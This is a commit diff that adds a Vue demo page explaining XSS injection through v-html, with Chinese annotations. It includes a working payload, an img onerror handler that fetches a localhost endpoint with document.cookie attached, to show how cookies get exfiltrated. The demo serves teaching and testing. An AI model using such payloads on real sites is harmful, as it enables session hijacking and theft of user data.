feat: xss获取用户数据后段测试

src/views/demo/xss.vue

@@ -0,0 +1,30 @@
+<template>
+    <base-container>
+        <h2>v-html xss注入:</h2>
+        <pre>
+一旦v-html中的数据是来自已存储恶意代码的服务器或者其他不可信的服务器数据来源时，
+在渲染v-html的时候可以执行js代码通过请求携带用户的cookie或其他信息发送请求到攻击者准备好的服务器接口，
+这样用户的信息就泄漏了
+        </pre>
+        <h3>示例v-html:</h3>
+        <div v-html="message"></div>
+    </base-container>
+</template>
+
+<script>
+import { ref } from 'vue';
+export default {
+    setup() {
+        const cookie = encodeURIComponent(document.cookie);
+        const message = ref(
+            `<p>我是一段携带恶意代码的测试html标签</p><img src="../xxx.jpg" onerror="console.log('img注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=xxxx')">`
+        );
+        // 这种方式的注入不会执行js代码，只是将数据显示在页面上
+        message.value += `<script>console.log('script注入');fetch('http://localhost:3000/xss/test?cookie=${cookie}&userId=yyyy')<\/script>`;
+
+        return {
+            message,
+        };
+    },
+};
+</script>